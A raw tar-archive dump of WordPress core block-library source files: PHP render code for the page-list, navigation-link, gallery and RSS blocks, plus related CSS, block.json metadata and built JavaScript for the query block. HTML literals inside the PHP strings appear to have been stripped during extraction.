"openSubmenusOnClick" ], "supports": { "reusable": false, "html": false, "lock": false, "inserter": false, "__experimentalToolbar": false, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-page-list-editor", "style": "wp-block-page-list" } blocks/button.php000064400000003415147177035020010056 0ustar00` or `' . ''; } else { $markup .= '' . $title . ''; } if ( isset( $page['children'] ) ) { if ( $is_navigation_child && $show_submenu_icons && ! $open_submenus_on_click ) { $markup .= ''; } $markup .= ''; } $markup .= ''; } return $markup; } /** * Outputs nested array of pages * * @param array $current_level The level being iterated through. * @param array $children The children grouped by parent post ID. * * @return array The nested array of pages. */ function block_core_page_list_nest_pages( $current_level, $children ) { if ( empty( $current_level ) ) { return; } foreach ( (array) $current_level as $key => $current ) { if ( isset( $children[ $key ] ) ) { $current_level[ $key ]['children'] = block_core_page_list_nest_pages( $children[ $key ], $children ); } } return $current_level; } /** * Renders the `core/page-list` block on server. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the page list markup. */ function render_block_core_page_list( $attributes, $content, $block ) { static $block_id = 0; $block_id++; $all_pages = get_pages( array( 'sort_column' => 'menu_order,post_title', 'order' => 'asc', ) ); // If there are no pages, there is nothing to show. if ( empty( $all_pages ) ) { return; } $top_level_pages = array(); $pages_with_children = array(); $active_page_ancestor_ids = array(); foreach ( (array) $all_pages as $page ) { $is_active = ! empty( $page->ID ) && ( get_the_ID() === $page->ID ); if ( $is_active ) { $active_page_ancestor_ids = get_post_ancestors( $page->ID ); } if ( $page->post_parent ) { $pages_with_children[ $page->post_parent ][ $page->ID ] = array( 'page_id' => $page->ID, 'title' => $page->post_title, 'link' => get_permalink( $page->ID ), 'is_active' => $is_active, ); } else { $top_level_pages[ $page->ID ] = array( 'page_id' => $page->ID, 'title' => $page->post_title, 'link' => get_permalink( $page->ID ), 'is_active' => $is_active, ); } } $colors = block_core_page_list_build_css_colors( $attributes, $block->context ); $font_sizes = block_core_page_list_build_css_font_sizes( $block->context ); $classes = array_merge( $colors['css_classes'], $font_sizes['css_classes'] ); $style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] ); $css_classes = trim( implode( ' ', $classes ) ); $nested_pages = block_core_page_list_nest_pages( $top_level_pages, $pages_with_children ); // Limit the number of items to be visually displayed. if ( ! empty( $attributes['__unstableMaxPages'] ) ) { $nested_pages = array_slice( $nested_pages, 0, $attributes['__unstableMaxPages'] ); } $is_navigation_child = array_key_exists( 'showSubmenuIcon', $block->context ); $open_submenus_on_click = array_key_exists( 'openSubmenusOnClick', $block->context ) ? $block->context['openSubmenusOnClick'] : false; $show_submenu_icons = array_key_exists( 'showSubmenuIcon', $block->context ) ? $block->context['showSubmenuIcon'] : false; $wrapper_markup = '
      %2$s
    '; $items_markup = block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $nested_pages, $active_page_ancestor_ids, $colors ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes, 'style' => $style_attribute, ) ); return sprintf( $wrapper_markup, $wrapper_attributes, $items_markup ); } /** * Registers the `core/pages` block on server. */ function register_block_core_page_list() { register_block_type_from_metadata( __DIR__ . '/page-list', array( 'render_callback' => 'render_block_core_page_list', ) ); } add_action( 'init', 'register_block_core_page_list' ); blocks/post-navigation-link.php000064400000007016147177035020012621 0ustar00 $classes ) ); // Set default values. $format = '%link'; $link = 'next' === $navigation_type ? _x( 'Next', 'label for next post link' ) : _x( 'Previous', 'label for previous post link' ); $label = ''; // If a custom label is provided, make this a link. // `$label` is used to prepend the provided label, if we want to show the page title as well. if ( isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ) { $label = "{$attributes['label']}"; $link = $label; } // If we want to also show the page title, make the page title a link and prepend the label. if ( isset( $attributes['showTitle'] ) && $attributes['showTitle'] ) { /* * If the label link option is not enabled but there is a custom label, * display the custom label as text before the linked title. */ if ( ! $attributes['linkLabel'] ) { if ( $label ) { $format = '' . wp_kses_post( $label ) . ' %link'; } $link = '%title'; } elseif ( isset( $attributes['linkLabel'] ) && $attributes['linkLabel'] ) { // If the label link option is enabled and there is a custom label, display it before the title. if ( $label ) { $link = '' . wp_kses_post( $label ) . ' %title'; } else { /* * If the label link option is enabled and there is no custom label, * add a colon between the label and the post title. */ $label = 'next' === $navigation_type ? _x( 'Next:', 'label before the title of the next post' ) : _x( 'Previous:', 'label before the title of the previous post' ); $link = sprintf( '%1$s %2$s', wp_kses_post( $label ), '%title' ); } } } // The dynamic portion of the function name, `$navigation_type`, // refers to the type of adjacency, 'next' or 'previous'. $get_link_function = "get_{$navigation_type}_post_link"; $content = $get_link_function( $format, $link ); return sprintf( '
    %2$s
    ', $wrapper_attributes, $content ); } /** * Registers the `core/post-navigation-link` block on the server. */ function register_block_core_post_navigation_link() { register_block_type_from_metadata( __DIR__ . '/post-navigation-link', array( 'render_callback' => 'render_block_core_post_navigation_link', ) ); } add_action( 'init', 'register_block_core_post_navigation_link' ); blocks/gallery.php000064400000007301147177035020010200 0ustar00 $inner_block ) { if ( 'core/image' === $inner_block['blockName'] ) { if ( ! isset( $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] ) && isset( $inner_block['attrs']['id'] ) ) { $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] = esc_attr( $inner_block['attrs']['id'] ); } } } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_gallery_data_id_backcompatibility' ); /** * Adds a style tag for the --wp--style--unstable-gallery-gap var. * * The Gallery block needs to recalculate Image block width based on * the current gap setting in order to maintain the number of flex columns * so a css var is added to allow this. * * @param array $attributes Attributes of the block being rendered. * @param string $content Content of the block being rendered. * @return string The content of the block being rendered. */ function block_core_gallery_render( $attributes, $content ) { $gap = _wp_array_get( $attributes, array( 'style', 'spacing', 'blockGap' ) ); // Skip if gap value contains unsupported characters. // Regex for CSS value borrowed from `safecss_filter_attr`, and used here // because we only want to match against the value, not the CSS attribute. if ( is_array( $gap ) ) { foreach ( $gap as $key => $value ) { $gap[ $key ] = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value; } } else { $gap = $gap && preg_match( '%[\\\(&=}]|/\*%', $gap ) ? null : $gap; } $class = wp_unique_id( 'wp-block-gallery-' ); $content = preg_replace( '/' . preg_quote( 'class="', '/' ) . '/', 'class="' . $class . ' ', $content, 1 ); // --gallery-block--gutter-size is deprecated. --wp--style--gallery-gap-default should be used by themes that want to set a default // gap on the gallery. $fallback_gap = 'var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )'; $gap_value = $gap ? $gap : $fallback_gap; $gap_column = $gap_value; if ( is_array( $gap_value ) ) { $gap_row = isset( $gap_value['top'] ) ? $gap_value['top'] : $fallback_gap; $gap_column = isset( $gap_value['left'] ) ? $gap_value['left'] : $fallback_gap; $gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column; } // Set the CSS variable to the column value, and the `gap` property to the combined gap value. $style = '.' . $class . '{ --wp--style--unstable-gallery-gap: ' . $gap_column . '; gap: ' . $gap_value . '}'; // Ideally styles should be loaded in the head, but blocks may be parsed // after that, so loading in the footer for now. // See https://core.trac.wordpress.org/ticket/53494. add_action( 'wp_footer', function () use ( $style ) { echo ''; }, 11 ); return $content; } /** * Registers the `core/gallery` block on server. */ function register_block_core_gallery() { register_block_type_from_metadata( __DIR__ . '/gallery', array( 'render_callback' => 'block_core_gallery_render', ) ); } add_action( 'init', 'register_block_core_gallery' ); blocks/query/editor-rtl.css000064400000005250147177035020011775 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .block-library-query-toolbar__popover .components-popover__content { min-width: 230px; } .wp-block-query__create-new-link { padding: 0 56px 16px 16px; } .block-library-query__pattern-selection-content .block-editor-block-patterns-list { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-gap: 8px; } .block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item { margin-bottom: 0; } .block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container { max-height: 250px; } .block-editor-query-pattern__selection-modal .components-modal__content { overflow: hidden; padding: 0; } .block-editor-query-pattern__selection-modal .components-modal__content::before { margin-bottom: 0; } @media (min-width: 600px) { .block-editor-query-pattern__selection-modal { width: calc(100% - 32px); height: calc(100% - 120px); } } @media (min-width: 782px) { .block-editor-query-pattern__selection-modal { width: 750px; } } @media (min-width: 960px) { .block-editor-query-pattern__selection-modal { height: 80%; width: 80%; max-height: none; } }blocks/query/editor.css000064400000005250147177035020011176 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .block-library-query-toolbar__popover .components-popover__content { min-width: 230px; } .wp-block-query__create-new-link { padding: 0 16px 16px 56px; } .block-library-query__pattern-selection-content .block-editor-block-patterns-list { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-gap: 8px; } .block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item { margin-bottom: 0; } .block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container { max-height: 250px; } .block-editor-query-pattern__selection-modal .components-modal__content { overflow: hidden; padding: 0; } .block-editor-query-pattern__selection-modal .components-modal__content::before { margin-bottom: 0; } @media (min-width: 600px) { .block-editor-query-pattern__selection-modal { width: calc(100% - 32px); height: calc(100% - 120px); } } @media (min-width: 782px) { .block-editor-query-pattern__selection-modal { width: 750px; } } @media (min-width: 960px) { .block-editor-query-pattern__selection-modal { height: 80%; width: 80%; max-height: none; } }blocks/query/editor.min.css000064400000002132147177035020011754 0ustar00.block-library-query-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query__create-new-link{padding:0 16px 16px 56px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr 1fr 1fr;grid-gap:8px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{max-height:250px}.block-editor-query-pattern__selection-modal .components-modal__content{overflow:hidden;padding:0}.block-editor-query-pattern__selection-modal .components-modal__content:before{margin-bottom:0}@media (min-width:600px){.block-editor-query-pattern__selection-modal{width:calc(100% - 32px);height:calc(100% - 120px)}}@media (min-width:782px){.block-editor-query-pattern__selection-modal{width:750px}}@media (min-width:960px){.block-editor-query-pattern__selection-modal{height:80%;width:80%;max-height:none}}blocks/query/block.json000064400000002253147177035020011163 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/query", "title": "Query Loop", "category": "theme", "description": "An advanced block that allows displaying post types based on different query parameters and visual configurations.", "textdomain": "default", "attributes": { "queryId": { "type": "number" }, "query": { "type": "object", "default": { "perPage": null, "pages": 0, "offset": 0, "postType": "post", "order": "desc", "orderBy": "date", "author": "", "search": "", "exclude": [], "sticky": "", "inherit": true, "taxQuery": null } }, "tagName": { "type": "string", "default": "div" }, "displayLayout": { "type": "object", "default": { "type": "list" } } }, "providesContext": { "queryId": "queryId", "query": "query", "displayLayout": "displayLayout" }, "supports": { "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "__experimentalLayout": true }, "editorStyle": "wp-block-query-editor" } blocks/query/view.asset.php000064400000000124147177035020011772 0ustar00 array(), 'version' => 'ee101e08820687c9c07f'); blocks/query/editor-rtl.min.css000064400000002132147177035020012553 0ustar00.block-library-query-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query__create-new-link{padding:0 56px 16px 16px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr 1fr 1fr;grid-gap:8px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{max-height:250px}.block-editor-query-pattern__selection-modal .components-modal__content{overflow:hidden;padding:0}.block-editor-query-pattern__selection-modal .components-modal__content:before{margin-bottom:0}@media (min-width:600px){.block-editor-query-pattern__selection-modal{width:calc(100% - 32px);height:calc(100% - 120px)}}@media (min-width:782px){.block-editor-query-pattern__selection-modal{width:750px}}@media (min-width:960px){.block-editor-query-pattern__selection-modal{height:80%;width:80%;max-height:none}}blocks/query/view.js000064400000011305147177035020010504 0ustar00import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity"; /******/ var __webpack_modules__ = ({ /***/ 438: /***/ ((module) => { module.exports = import("@wordpress/interactivity-router");; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry need to be wrapped in an IIFE because it need to be isolated against other modules in the chunk. (() => { ;// CONCATENATED MODULE: external "@wordpress/interactivity" var x = (y) => { var x = {}; __webpack_require__.d(x, y); return x } var y = (x) => (() => (x)) const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store) }); ;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/query/view.js /** * WordPress dependencies */ const isValidLink = ref => ref && ref instanceof window.HTMLAnchorElement && ref.href && (!ref.target || ref.target === '_self') && ref.origin === window.location.origin; const isValidEvent = event => event.button === 0 && // Left clicks only. !event.metaKey && // Open in new tab (Mac). !event.ctrlKey && // Open in new tab (Windows). !event.altKey && // Download. !event.shiftKey && !event.defaultPrevented; (0,interactivity_namespaceObject.store)('core/query', { actions: { *navigate(event) { const ctx = (0,interactivity_namespaceObject.getContext)(); const { ref } = (0,interactivity_namespaceObject.getElement)(); const queryRef = ref.closest('.wp-block-query[data-wp-router-region]'); if (isValidLink(ref) && isValidEvent(event)) { event.preventDefault(); const { actions } = yield Promise.resolve(/* import() */).then(__webpack_require__.bind(__webpack_require__, 438)); yield actions.navigate(ref.href); ctx.url = ref.href; // Focus the first anchor of the Query block. const firstAnchor = `.wp-block-post-template a[href]`; queryRef.querySelector(firstAnchor)?.focus(); } }, *prefetch() { const { ref } = (0,interactivity_namespaceObject.getElement)(); if (isValidLink(ref)) { const { actions } = yield Promise.resolve(/* import() */).then(__webpack_require__.bind(__webpack_require__, 438)); yield actions.prefetch(ref.href); } } }, callbacks: { *prefetch() { const { url } = (0,interactivity_namespaceObject.getContext)(); const { ref } = (0,interactivity_namespaceObject.getElement)(); if (url && isValidLink(ref)) { const { actions } = yield Promise.resolve(/* import() */).then(__webpack_require__.bind(__webpack_require__, 438)); yield actions.prefetch(ref.href); } } } }, { lock: true }); })(); blocks/query/view.min.js000064400000002614147177035020011271 0ustar00import*as e from"@wordpress/interactivity";var t={438:e=>{e.exports=import("@wordpress/interactivity-router")}},r={};function o(e){var n=r[e];if(void 0!==n)return n.exports;var i=r[e]={exports:{}};return t[e](i,i.exports,o),i.exports}o.d=(e,t)=>{for(var r in t)o.o(t,r)&&!o.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},o.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{const t=(e=>{var t={};return o.d(t,e),t})({getContext:()=>e.getContext,getElement:()=>e.getElement,store:()=>e.store}),r=e=>e&&e instanceof window.HTMLAnchorElement&&e.href&&(!e.target||"_self"===e.target)&&e.origin===window.location.origin;(0,t.store)("core/query",{actions:{*navigate(e){const n=(0,t.getContext)(),{ref:i}=(0,t.getElement)(),s=i.closest(".wp-block-query[data-wp-router-region]");if(r(i)&&(e=>!(0!==e.button||e.metaKey||e.ctrlKey||e.altKey||e.shiftKey||e.defaultPrevented))(e)){e.preventDefault();const{actions:t}=yield Promise.resolve().then(o.bind(o,438));yield t.navigate(i.href),n.url=i.href;const r=".wp-block-post-template a[href]";s.querySelector(r)?.focus()}},*prefetch(){const{ref:e}=(0,t.getElement)();if(r(e)){const{actions:t}=yield Promise.resolve().then(o.bind(o,438));yield t.prefetch(e.href)}}},callbacks:{*prefetch(){const{url:e}=(0,t.getContext)(),{ref:n}=(0,t.getElement)();if(e&&r(n)){const{actions:e}=yield Promise.resolve().then(o.bind(o,438));yield e.prefetch(n.href)}}}},{lock:!0})})();blocks/query/view.min.asset.php000064400000000124147177035020012554 0ustar00 array(), 'version' => '490915f92cc794ea16e1'); blocks/image.php000064400000002420147177035020007620 0ustar00 'render_block_core_image', ) ); } add_action( 'init', 'register_block_core_image' ); blocks/page-list-item.php000064400000000551147177035020011362 0ustar00
    ' . __( 'Adding an RSS feed to this site’s homepage is not supported, as it could lead to a loop that slows down your site. Try using another block, like the Latest Posts block, to list posts from the site.' ) . '
    '; } $rss = fetch_feed( $attributes['feedURL'] ); if ( is_wp_error( $rss ) ) { return '
    ' . __( 'RSS Error:' ) . ' ' . esc_html( $rss->get_error_message() ) . '
    '; } if ( ! $rss->get_item_quantity() ) { return '
    ' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '
    '; } $rss_items = $rss->get_items( 0, $attributes['itemsToShow'] ); $list_items = ''; foreach ( $rss_items as $item ) { $title = esc_html( trim( strip_tags( $item->get_title() ) ) ); if ( empty( $title ) ) { $title = __( '(no title)' ); } $link = $item->get_link(); $link = esc_url( $link ); if ( $link ) { $title = "{$title}"; } $title = "
    {$title}
    "; $date = ''; if ( $attributes['displayDate'] ) { $date = $item->get_date( 'U' ); if ( $date ) { $date = sprintf( ' ', esc_attr( date_i18n( get_option( 'c' ), $date ) ), esc_attr( date_i18n( get_option( 'date_format' ), $date ) ) ); } } $author = ''; if ( $attributes['displayAuthor'] ) { $author = $item->get_author(); if ( is_object( $author ) ) { $author = $author->get_name(); $author = '' . sprintf( /* translators: %s: the author. */ __( 'by %s' ), esc_html( strip_tags( $author ) ) ) . ''; } } $excerpt = ''; if ( $attributes['displayExcerpt'] ) { $excerpt = html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) ); $excerpt = esc_attr( wp_trim_words( $excerpt, $attributes['excerptLength'], ' […]' ) ); // Change existing [...] to […]. if ( '[...]' === substr( $excerpt, -5 ) ) { $excerpt = substr( $excerpt, 0, -5 ) . '[…]'; } $excerpt = '
    ' . esc_html( $excerpt ) . '
    '; } $list_items .= "
  • {$title}{$date}{$author}{$excerpt}
  • "; } $classnames = array(); if ( isset( $attributes['blockLayout'] ) && 'grid' === $attributes['blockLayout'] ) { $classnames[] = 'is-grid'; } if ( isset( $attributes['columns'] ) && 'grid' === $attributes['blockLayout'] ) { $classnames[] = 'columns-' . $attributes['columns']; } if ( $attributes['displayDate'] ) { $classnames[] = 'has-dates'; } if ( $attributes['displayAuthor'] ) { $classnames[] = 'has-authors'; } if ( $attributes['displayExcerpt'] ) { $classnames[] = 'has-excerpts'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); return sprintf( '
      %s
    ', $wrapper_attributes, $list_items ); } /** * Registers the `core/rss` block on server. */ function register_block_core_rss() { register_block_type_from_metadata( __DIR__ . '/rss', array( 'render_callback' => 'render_block_core_rss', ) ); } add_action( 'init', 'register_block_core_rss' ); blocks/read-more/style.min.css000064400000000403147177035020012333 0ustar00.wp-block-read-more{display:block;width:-moz-fit-content;width:fit-content}.wp-block-read-more:not([style*=text-decoration]),.wp-block-read-more:not([style*=text-decoration]):active,.wp-block-read-more:not([style*=text-decoration]):focus{text-decoration:none}blocks/read-more/style-rtl.css000064400000003366147177035020012363 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-read-more { display: block; width: -moz-fit-content; width: fit-content; } .wp-block-read-more:not([style*=text-decoration]) { text-decoration: none; } .wp-block-read-more:not([style*=text-decoration]):focus, .wp-block-read-more:not([style*=text-decoration]):active { text-decoration: none; }blocks/read-more/block.json000064400000002272147177035020011672 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/read-more", "title": "Read More", "category": "theme", "description": "Displays the link of a post, page, or any other content-type.", "textdomain": "default", "attributes": { "content": { "type": "string" }, "linkTarget": { "type": "string", "default": "_self" } }, "usesContext": [ "postId" ], "supports": { "html": false, "color": { "gradients": true, "text": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalLetterSpacing": true, "__experimentalTextDecoration": true, "__experimentalDefaultControls": { "fontSize": true, "textDecoration": true } }, "spacing": { "margin": [ "top", "bottom" ], "padding": true, "__experimentalDefaultControls": { "padding": true } }, "__experimentalBorder": { "color": true, "radius": true, "width": true, "__experimentalDefaultControls": { "width": true } } }, "style": "wp-block-read-more" } blocks/read-more/style-rtl.min.css000064400000000403147177035020013132 0ustar00.wp-block-read-more{display:block;width:-moz-fit-content;width:fit-content}.wp-block-read-more:not([style*=text-decoration]),.wp-block-read-more:not([style*=text-decoration]):active,.wp-block-read-more:not([style*=text-decoration]):focus{text-decoration:none}blocks/read-more/style.css000064400000003366147177035020011564 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-read-more { display: block; width: -moz-fit-content; width: fit-content; } .wp-block-read-more:not([style*=text-decoration]) { text-decoration: none; } .wp-block-read-more:not([style*=text-decoration]):focus, .wp-block-read-more:not([style*=text-decoration]):active { text-decoration: none; }blocks/freeform/editor-rtl.css000064400000027050147177035020012437 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-freeform.block-library-rich-text__tinymce { height: auto; /* Allow height of embed iframes to be calculated properly */ /* Remove blue highlighting of selected images in WebKit */ /* Image captions */ /* WP Views */ } .wp-block-freeform.block-library-rich-text__tinymce p, .wp-block-freeform.block-library-rich-text__tinymce li { line-height: 1.8; } .wp-block-freeform.block-library-rich-text__tinymce ul, .wp-block-freeform.block-library-rich-text__tinymce ol { padding-right: 2.5em; margin-right: 0; } .wp-block-freeform.block-library-rich-text__tinymce blockquote { margin: 0; box-shadow: inset 0 0 0 0 #ddd; border-right: 4px solid #000; padding-right: 1em; } .wp-block-freeform.block-library-rich-text__tinymce pre { white-space: pre-wrap; font-family: Menlo, Consolas, monaco, monospace; font-size: 15px; color: #1e1e1e; } .wp-block-freeform.block-library-rich-text__tinymce > *:first-child { margin-top: 0; } .wp-block-freeform.block-library-rich-text__tinymce > *:last-child { margin-bottom: 0; } .wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus { outline: none; } .wp-block-freeform.block-library-rich-text__tinymce a { color: var(--wp-admin-theme-color); } .wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected] { padding: 0 2px; margin: 0 -2px; border-radius: 2px; box-shadow: 0 0 0 1px #e5f5fa; background: #e5f5fa; } .wp-block-freeform.block-library-rich-text__tinymce code { padding: 2px; border-radius: 2px; color: #1e1e1e; background: #f0f0f0; font-family: Menlo, Consolas, monaco, monospace; font-size: 14px; } .wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected] { background: #ddd; } .wp-block-freeform.block-library-rich-text__tinymce .alignright { float: right; margin: 0.5em 0 0.5em 1em; } .wp-block-freeform.block-library-rich-text__tinymce .alignleft 